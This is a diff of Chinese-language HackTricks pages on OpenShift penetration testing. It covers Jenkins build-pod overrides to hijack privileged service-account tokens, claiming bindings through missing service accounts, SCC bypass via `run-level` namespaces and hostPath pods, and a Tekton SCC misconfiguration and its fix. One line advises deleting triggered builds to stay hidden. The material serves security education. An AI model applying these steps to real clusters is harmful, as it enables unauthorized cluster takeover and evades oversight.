1a. 在 Jenkins 实例中的用户访问权限 或 1b. 对 SCM 仓库的写入权限，自动构建在推送/合并后触发。
## 工作原理
@@ -26,7 +28,7 @@ Jenkins 实例可以部署在 Openshift 或 Kubernetes 集群中。根据您的
1. 您可以访问 Jenkins 的 UI
一种非常简单方便的方法是使用现有构建的重放功能。它允许您重放先前执行的构建，同时允许您更新 groovy 脚本。这需要对 Jenkins 文件夹的权限和预定义的管道。如果您需要保持隐蔽，您可以在拥有足够权限的情况下删除您触发的构建。
一种非常简单方便的方法是使用现有构建的重放功能。它允许您重放先前执行的构建，同时允许您更新 groovy 脚本。这需要对 Jenkins 文件夹和预定义管道的权限。如果您需要保持隐蔽，您可以在拥有足够权限的情况下删除您触发的构建。
2. 您对 SCM 有写入访问权限，并且通过 webhook 配置了自动构建
@@ -37,3 +39,7 @@ Jenkins 实例可以部署在 Openshift 或 Kubernetes 集群中。根据您的
{{#ref}}
openshift-jenkins-build-overrides.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

20
src/pentesting-cloud/openshift-pentesting/openshift-jenkins/openshift-jenkins-build-overrides.md
View File

@@ -1,14 +1,16 @@
# Jenkins in Openshift - build pod overrides
{{#include ../../../banners/hacktricks-training.md}}
**该页面的原作者是** [**Fares**](https://www.linkedin.com/in/fares-siala/)
## Kubernetes plugin for Jenkins
此插件主要负责在openshift/kubernetes集群中Jenkins核心功能。官方文档 [here](https://plugins.jenkins.io/kubernetes/)
此插件主要负责在openshift/kubernetes集群中Jenkins的核心功能。官方文档 [here](https://plugins.jenkins.io/kubernetes/)
它提供了一些功能，例如开发人员可以覆盖jenkins构建pod的一些默认配置。
## Core functionnality
此插件为开发人员在适当环境中构建代码提供了灵活性。
此插件为开发人员在适当的环境中构建代码提供了灵活性。
```groovy
podTemplate(yaml: '''
apiVersion: v1
@@ -94,7 +96,7 @@ sh 'env'
}
}
```
覆盖 Pod 命名空间的示例
示例以覆盖 pod 的命名空间
```groovy
pipeline {
stages {
@@ -128,7 +130,7 @@ sh 'env'
}
}
```
另一个示例尝试根据名称挂载一个 serviceaccount（可能具有比默认的更多权限，运行您的构建）。您可能需要先猜测或枚举现有的 serviceaccounts。
另一个示例尝试根据名称挂载一个 serviceaccount（该 serviceaccount 可能具有比默认的更多权限，正在运行您的构建）。您可能需要先猜测或枚举现有的 serviceaccounts。
```groovy
pipeline {
stages {
@@ -173,14 +175,14 @@ sh 'env'
- 它拥有哪些角色和权限？它能读取我当前所在命名空间的 secrets 吗？
- 我能进一步枚举其他构建 pod 吗？
- 从一个被攻陷的 sa，我能在主节点/pod 上执行命令吗？
- 我能进一步枚举集群以便进行其他操作吗？
- 我能进一步枚举集群以进行其他操作吗？
- 应用了哪个 SCC？
你可以在 [这里](../openshift-basic-information.md) 和 [这里](../../kubernetes-security/kubernetes-enumeration.md) 找到需要发出的 oc/kubectl 命令。
### 可能的权限提升/转移场景
假设在你的评估中你发现所有 Jenkins 构建都在一个名为 _worker-ns_ 的命名空间中运行。你发现一个名为 _default-sa_ 的默认服务账户被挂载在构建 pod 上，但它的权限并不多，除了对某些资源的读取权限，但你能够识别出一个名为 _master-sa_ 的现有服务账户。
假设在你的评估中你发现所有的 jenkins 构建都在一个名为 _worker-ns_ 的命名空间中运行。你发现一个名为 _default-sa_ 的默认服务账户被挂载在构建 pod 上，但它的权限并不多，除了对某些资源的读取权限，但你能够识别出一个名为 _master-sa_ 的现有服务账户。
假设你在运行的构建容器中安装了 oc 命令。
使用以下构建脚本，你可以控制 _master-sa_ 服务账户并进一步枚举。
@@ -224,7 +226,7 @@ oc login --token=$token --server=https://apiserver.com:port
```bash
oc rsh pod_name -c container_name
```
如果主节点 pod 没有在与工作节点相同的命名空间中运行，您可以通过针对主命名空间尝试类似的攻击。假设它叫做 _jenkins-master_。请记住，serviceAccount master-sa 需要在 _jenkins-master_ 命名空间中存在（并可能在 _worker-ns_ 命名空间中不存在）。
如果主节点 pod 没有在与工作节点相同的命名空间中运行，您可以尝试通过针对主命名空间进行类似的攻击。假设它叫做 _jenkins-master_。请记住，serviceAccount master-sa 需要在 _jenkins-master_ 命名空间中存在（并且可能在 _worker-ns_ 命名空间中不存在）。
```groovy
pipeline {
stages {
@@ -258,3 +260,7 @@ sh 'env'
}
}
}
{{#include ../../../banners/hacktricks-training.md}}

6
src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/README.md
View File

@@ -1,5 +1,7 @@
# OpenShift - 权限提升
{{#include ../../../banners/hacktricks-training.md}}
## 缺失的服务账户
{{#ref}}
@@ -17,3 +19,7 @@ openshift-tekton.md
{{#ref}}
openshift-scc-bypass.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

16
src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-missing-service-account.md
View File

@@ -1,23 +1,27 @@
# OpenShift - 缺失的服务账户
# OpenShift - Missing Service Account
## 缺失的服务账户
{{#include ../../../banners/hacktricks-training.md}}
集群可能使用预配置模板自动设置角色、角色绑定甚至SCC到尚未创建的服务账户。这可能导致特权提升，如果您可以创建它们。在这种情况下，您将能够获取新创建的SA的令牌以及关联的角色或SCC。当缺失的SA是缺失项目的一部分时也会发生同样的情况，在这种情况下，如果您可以创建项目然后创建SA，您将获得关联的角色和SCC。
## Missing Service Account
集群可能会使用预配置模板自动设置角色、角色绑定甚至SCC到尚未创建的服务账户。这可能导致特权提升，如果您可以创建它们。在这种情况下，您将能够获取新创建的SA的令牌以及关联的角色或SCC。当缺失的SA是缺失项目的一部分时也会发生同样的情况，在这种情况下，如果您可以创建项目然后创建SA，您将获得关联的角色和SCC。
<figure><img src="../../../images/openshift-missing-service-account-image1.png" alt=""><figcaption></figcaption></figure>
在前面的图中，我们得到了多个缺失项目，意味着多个在角色绑定或SCC中出现但尚未在集群中创建的项目。同样，我们也得到了一个缺失的服务账户。
在前面的图中，我们得到了多个AbsentProject，意味着多个在角色绑定或SCC中出现但尚未在集群中创建的项目。同样，我们也得到了一个AbsentServiceAccount。
如果我们可以在其中创建一个项目和缺失的SA，SA将继承针对缺失服务账户的角色或SCC。这可能导致特权提升。
如果我们可以在其中创建项目和缺失的SA，SA将继承针对AbsentServiceAccount的角色或SCC。这可能导致特权提升。
以下示例显示了一个缺失的SA，该SA被授予node-exporter SCC：
<figure><img src="../../../images/openshift-missing-service-account-image2.png" alt=""><figcaption></figcaption></figure>
## 工具
## Tools
以下工具可用于枚举此问题，并更一般地绘制OpenShift集群：
{{#ref}}
https://github.com/maxDcb/OpenShiftGrapher
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

14
src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-scc-bypass.md
View File

@@ -1,6 +1,8 @@
# Openshift - SCC bypass
**该页面的原始作者是** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
{{#include ../../../banners/hacktricks-training.md}}
**该页面的原作者是** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
## 特权命名空间
@@ -86,7 +88,7 @@ volumes:
hostPath:
path:
```
现在，提升权限以访问主机系统并随后接管整个集群，获得“cluster-admin”权限变得更加容易。请查看以下页面中的 **Node-Post Exploitation** 部分：
现在，提升权限以访问主机系统并随后接管整个集群，获得“cluster-admin”权限变得更加容易。请在以下页面中查找 **Node-Post Exploitation** 部分：
{{#ref}}
../../kubernetes-security/attacking-kubernetes-from-inside-a-pod.md
@@ -94,7 +96,7 @@ path:
### 自定义标签
此外，根据目标设置，某些自定义标签/注释可能与之前的攻击场景以相同方式使用。即使不是专门为此设计，标签也可以用于授予权限，限制或不限制特定资源。
此外，根据目标设置，某些自定义标签/注释可能与之前的攻击场景以相同方式使用。即使不是专门为此而设计，标签也可以用于授予权限，限制或不限制特定资源。
如果您可以读取一些资源，请尝试查找自定义标签。以下是一些有趣的资源列表：
@@ -113,7 +115,7 @@ $ oc get project -o yaml | grep 'run-level' -b5
```
## 高级利用
在 OpenShift 中，如前所示，拥有在带有 `openshift.io/run-level` 标签的命名空间中部署 pod 的权限可能导致对集群的直接接管。从集群设置的角度来看，这一功能 **无法被禁用**，因为它是 OpenShift 设计的固有部分。
在 OpenShift 中，如前所示，拥有在带有 `openshift.io/run-level` 标签的命名空间中部署 pod 的权限可能导致对集群的简单接管。从集群设置的角度来看，这一功能 **无法被禁用**，因为它是 OpenShift 设计的固有部分。
然而，像 **Open Policy Agent GateKeeper** 这样的缓解措施可以防止用户设置此标签。
@@ -124,3 +126,7 @@ $ oc get project -o yaml | grep 'run-level' -b5
- [https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html](https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html)
- [https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html](https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html)
- [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)
{{#include ../../../banners/hacktricks-training.md}}

16
src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-tekton.md
View File

@@ -1,14 +1,16 @@
# OpenShift - Tekton
{{#include ../../../banners/hacktricks-training.md}}
**该页面的原作者是** [**Haroun**](https://www.linkedin.com/in/haroun-al-mounayar-571830211)
### 什么是 tekton
根据文档：_Tekton 是一个强大且灵活的开源框架，用于创建 CI/CD 系统，允许开发人员在云提供商和本地系统上构建、测试和部署。_ Jenkins 和 Tekton 都可以用于测试、构建和部署应用程序，但 Tekton 是云原生的。&#x20;
根据文档：_Tekton 是一个强大且灵活的开源框架，用于创建 CI/CD 系统，允许开发人员在云提供商和本地系统上构建、测试和部署。_ Jenkins 和 Tekton 都可以用于测试、构建和部署应用程序，但 Tekton 是云原生的。
在 Tekton 中，一切都由 YAML 文件表示。开发人员可以创建类型为 `Pipelines` 的自定义资源 (CR)，并在其中指定他们想要运行的多个 `Tasks`。要运行 Pipeline，必须创建类型为 `PipelineRun` 的资源。
在 Tekton 中，一切都由 YAML 文件表示。开发人员可以创建类型为 `Pipelines` 的自定义资源（CR），并在其中指定他们想要运行的多个 `Tasks`。要运行 Pipeline，必须创建类型为 `PipelineRun` 的资源。
当安装 tekton 时，在每个命名空间中会创建一个名为 pipeline 的服务账户 (sa)。当运行 Pipeline 时，将使用名为 `pipeline` 的此 sa 启动一个 pod，以运行 YAML 文件中定义的任务。
当安装 tekton 时，在每个命名空间中会创建一个名为 pipeline 的服务账户（sa）。当运行 Pipeline 时，将使用这个名为 `pipeline` 的 sa 启动一个 pod 来运行 YAML 文件中定义的任务。
{{#ref}}
https://tekton.dev/docs/getting-started/pipelines/
@@ -34,7 +36,7 @@ default: "pipelines-scc"
### 配置错误
问题在于，管道服务帐户可以使用的默认 scc 是用户可控的。这可以通过在命名空间定义中使用标签来完成。例如，如果我可以使用以下 yaml 定义创建一个命名空间：
问题在于，管道服务帐户可以使用的默认 scc 是用户可控的。这可以通过命名空间定义中的标签来实现。例如，如果我可以使用以下 yaml 定义创建一个命名空间：
```yaml
apiVersion: v1
kind: Namespace
@@ -45,7 +47,7 @@ operator.tekton.dev/scc: privileged
```
tekton 操作符将赋予 `test-namespace` 中的管道服务帐户使用 scc privileged 的能力。这将允许挂载节点。
### 修复
### 修复方法
Tekton 文档介绍了如何通过在 `TektonConfig` 对象中添加标签来限制 scc 的覆盖。
@@ -53,7 +55,7 @@ Tekton 文档介绍了如何通过在 `TektonConfig` 对象中添加标签来限
https://tekton.dev/docs/operator/sccconfig/
{{#endref}}
这个标签被称为 `max-allowed`&#x20;
这个标签被称为 `max-allowed`
```yaml
apiVersion: operator.tekton.dev/v1alpha1
kind: TektonConfig
@@ -68,4 +70,4 @@ scc:
default: "restricted-v2"
maxAllowed: "privileged"
```
{{#include ../../../banners/hacktricks-training.md}}

14
src/pentesting-cloud/openshift-pentesting/openshift-scc.md
View File

@@ -1,10 +1,12 @@
# Openshift - SCC
{{#include ../../banners/hacktricks-training.md}}
**该页面的原作者是** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
## 定义
在 OpenShift 的上下文中，SCC 代表 **安全上下文约束**。安全上下文约束是控制在 OpenShift 集群上运行的 pod 权限的策略。它们定义了 pod 允许运行的安全参数，包括它可以执行的操作和可以访问的资源。
在 OpenShift 的上下文中，SCC 代表 **安全上下文约束**。安全上下文约束是控制在 OpenShift 集群上运行的 pod 权限的策略。它们定义了 pod 允许运行的安全参数，包括可以执行的操作和可以访问的资源。
SCC 帮助管理员在集群中强制执行安全策略，确保 pod 以适当的权限运行并遵循组织的安全标准。这些约束可以指定 pod 安全的各个方面，例如：
@@ -17,7 +19,7 @@ SCC 帮助管理员在集群中强制执行安全策略，确保 pod 以适当
通过配置 SCC，管理员可以确保 pod 以适当的安全隔离和访问控制级别运行，从而降低集群内安全漏洞或未经授权访问的风险。
基本上，每当请求 pod 部署时，都会执行以下的入场过程：
基本上，每当请求 pod 部署时，都会执行如下的入场过程：
<figure><img src="../../images/Managing SCCs in OpenShift-1.png" alt=""><figcaption></figcaption></figure>
@@ -51,12 +53,16 @@ openshift.io/scc: privileged
$ oc apply -f evilpod.yaml #Deploy a privileged pod
Error from server (Forbidden): error when creating "evilpod.yaml": pods "evilpod" is forbidden: unable to validate against any security context constrain
```
## SCC 绕过
## SCC Bypass
{{#ref}}
openshift-privilege-escalation/openshift-scc-bypass.md
{{#endref}}
## 参考
## References
- [https://www.redhat.com/en/blog/managing-sccs-in-openshift](https://www.redhat.com/en/blog/managing-sccs-in-openshift)
{{#include ../../banners/hacktricks-training.md}}